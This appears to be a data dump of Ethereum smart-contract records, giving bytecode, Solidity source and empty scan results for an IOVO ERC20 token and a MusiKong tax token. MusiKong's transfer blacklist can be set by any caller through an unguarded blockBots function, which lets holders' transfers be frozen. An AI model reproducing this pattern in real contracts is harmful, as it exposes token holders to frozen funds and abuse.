b34801561041d57600080fd5b506102bb600160a060020a03600435166024351515610995565b34801561044357600080fd5b506102bb600160a060020a0360043516610a10565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b505050505081565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045481565b600160a060020a038316600090815260066020908152604080832033845290915281205482111561058157600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020805483900390556105b6848484610a56565b5060019392505050565b60035460ff1681565b336000908152600560205260408120548211156105e557600080fd5b3360008181526005602090815260409182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60075481565b60056020526000908152604090205481565b600054600160a060020a0316331461067057600080fd5b600160a060020a03821660009081526005602090815260408083208054850190556004805485019055805184815290513093927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3604080518281529051600160a060020a0384169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600160a060020a03821660009081526005602052604081205482111561073457600080fd5b600054600160a060020a0316331461074b57600080fd5b600160a060020a0383166000818152600560209081526040808320805487900390556006825280832033845282529182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60085481565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104dd5780601f106104b2576101008083540402835291602001916104dd565b6000610841338484610a56565b50600192915050565b60096020526000908152604090205460ff1681565b60008361086c81856104e5565b15610970576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156109045781810151838201526020016108ec565b50505050905090810190601f1680156109315780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b600054600160a060020a031633146109ac57600080fd5b600160a060020a038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610a2757600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610a6b57600080fd5b600160a060020a038316600090815260056020526040902054811115610a9057600080fd5b600160a060020a0382166000908152600560205260409020548181011015610ab757600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610add57600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610b0357600080fd5b600160a060020a03808416600081815260056020908152604080832080548790039055938616808352918490208054860190558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050505600a165627a7a72305820fc3c24f83dd8f476d080b1d3a9f95ec114a0873861ca232880ad782809b6192d0029 | {"success": true, "error": null, "results": {}} | 10,169 |
0x0ade1dcce0328c0b359010bb07ef725e220c0e63 | pragma solidity ^0.4.19;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/IOVOToken.sol
contract IOVOToken is StandardToken {
string public name = "IOVO Token";
string public symbol = "IOVO";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 1000000000 * (10 ** decimals);
function IOVOToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[tx.origin] = INITIAL_SUPPLY;
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102ba57806370a082311461031f57806395d89b4114610376578063a9059cbb14610406578063d73dd6231461046b578063dd62ed3e146104d0575b600080fd5b3480156100cb57600080fd5b506100d4610547565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e5565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106d7565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a9b565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aa1565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa7565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610d80565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1e565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611239565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105dd5780601f106105b2576101008083540402835291602001916105dd565b820191906000526020600020905b8154815290600101906020018083116105c057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561071e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f657600080fd5b610847826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108da826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ab82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b60055481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bb8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4c565b610bcb83826112c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e165780601f10610deb57610100808354040283529160200191610e16565b820191906000526020600020905b815481529060010190602001808311610df957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e5b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea857600080fd5b610ef9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110ce82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112ce57fe5b818303905092915050565b60008082840190508381101515156112ed57fe5b80915050929150505600a165627a7a72305820be8b336e26d6d5226f4e8e7736b3f2c9b6352cb179d2abe00534abb67b9b30200029 | {"success": true, "error": null, "results": {}} | 10,170 |
0x9E380c8B5BD9E72Ef1FBcF85f96F3eB26d0856bE | //SPDX-License-Identifier: MIT
/**
MUSIKONG TOKEN is an ERC20 Token and a community that is passionate about blockchain technologies as well as Animie of all kinds.
The developers have come up with a formula that allows “MUSIKONG” to soar in the charts while also generating donations and Good Karma. To achieve this our Tokenomics include a transaction Tax which is dedicated to donations and bringing awareness to the cause.
Like a Kong, As a community we vote on how and where these donations are sent.
https://t.me/musikong
**/
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract MusiKong is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 60000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
string private constant _name = "MusiKong";
string private constant _symbol = "MUSIKONG";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 12;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(200);
_maxWallet=_tTotal.div(100);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public {
require(_taxWallet==_msgSender());
bots[notbot] = false;
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | 0x6080604052600436106101385760003560e01c806370a08231116100ab5780639a024c1a1161006f5780639a024c1a14610377578063a9059cbb14610397578063bfd79284146103b7578063dd62ed3e146103e7578063e8078d941461042d578063f8b45b051461044257600080fd5b806370a08231146102be578063715018a6146102f45780638c0b5e22146103095780638da5cb5b1461031e57806395d89b411461034657600080fd5b8063313ce567116100fd578063313ce567146102185780633e7175c5146102345780634a1316721461025457806350e6a5c9146102695780636b999053146102895780636fc3eaec146102a957600080fd5b8062b8cf2a1461014457806306fdde0314610166578063095ea7b3146101a957806318160ddd146101d957806323b872dd146101f857600080fd5b3661013f57005b600080fd5b34801561015057600080fd5b5061016461015f3660046114a8565b610457565b005b34801561017257600080fd5b506040805180820190915260088152674d7573694b6f6e6760c01b60208201525b6040516101a0919061156d565b60405180910390f35b3480156101b557600080fd5b506101c96101c43660046115c2565b6104c3565b60405190151581526020016101a0565b3480156101e557600080fd5b506006545b6040519081526020016101a0565b34801561020457600080fd5b506101c96102133660046115ee565b6104da565b34801561022457600080fd5b50604051601281526020016101a0565b34801561024057600080fd5b5061016461024f36600461162f565b610543565b34801561026057600080fd5b50610164610589565b34801561027557600080fd5b5061016461028436600461162f565b610826565b34801561029557600080fd5b506101646102a4366004611648565b610863565b3480156102b557600080fd5b5061016461089b565b3480156102ca57600080fd5b506101ea6102d9366004611648565b6001600160a01b031660009081526002602052604090205490565b34801561030057600080fd5b506101646108a5565b34801561031557600080fd5b506009546101ea565b34801561032a57600080fd5b506000546040516001600160a01b0390911681526020016101a0565b34801561035257600080fd5b506040805180820190915260088152674d5553494b4f4e4760c01b6020820152610193565b34801561038357600080fd5b5061016461039236600461162f565b610919565b3480156103a357600080fd5b506101c96103b23660046115c2565b610956565b3480156103c357600080fd5b506101c96103d2366004611648565b60056020526000908152604090205460ff1681565b3480156103f357600080fd5b506101ea610402366004611665565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561043957600080fd5b50610164610963565b34801561044e57600080fd5b50600a546101ea565b60005b81518110156104bf5760016005600084848151811061047b5761047b61169e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104b7816116ca565b91505061045a565b5050565b60006104d0338484610ac6565b5060015b92915050565b60006104e7848484610bea565b610539843361053485604051806060016040528060288152602001611869602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061102d565b610ac6565b5060019392505050565b6000546001600160a01b031633146105765760405162461bcd60e51b815260040161056d906116e5565b60405180910390fd5b600a54811161058457600080fd5b600a55565b6000546001600160a01b031633146105b35760405162461bcd60e51b815260040161056d906116e5565b600c54600160a01b900460ff161561060d5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161056d565b600b5460065461062a9130916001600160a01b0390911690610ac6565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a1919061171a565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610703573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610727919061171a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610774573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610798919061171a565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108239190611737565b50565b6000546001600160a01b031633146108505760405162461bcd60e51b815260040161056d906116e5565b600954811161085e57600080fd5b600955565b6008546001600160a01b0316331461087a57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b4761082381611067565b6000546001600160a01b031633146108cf5760405162461bcd60e51b8152600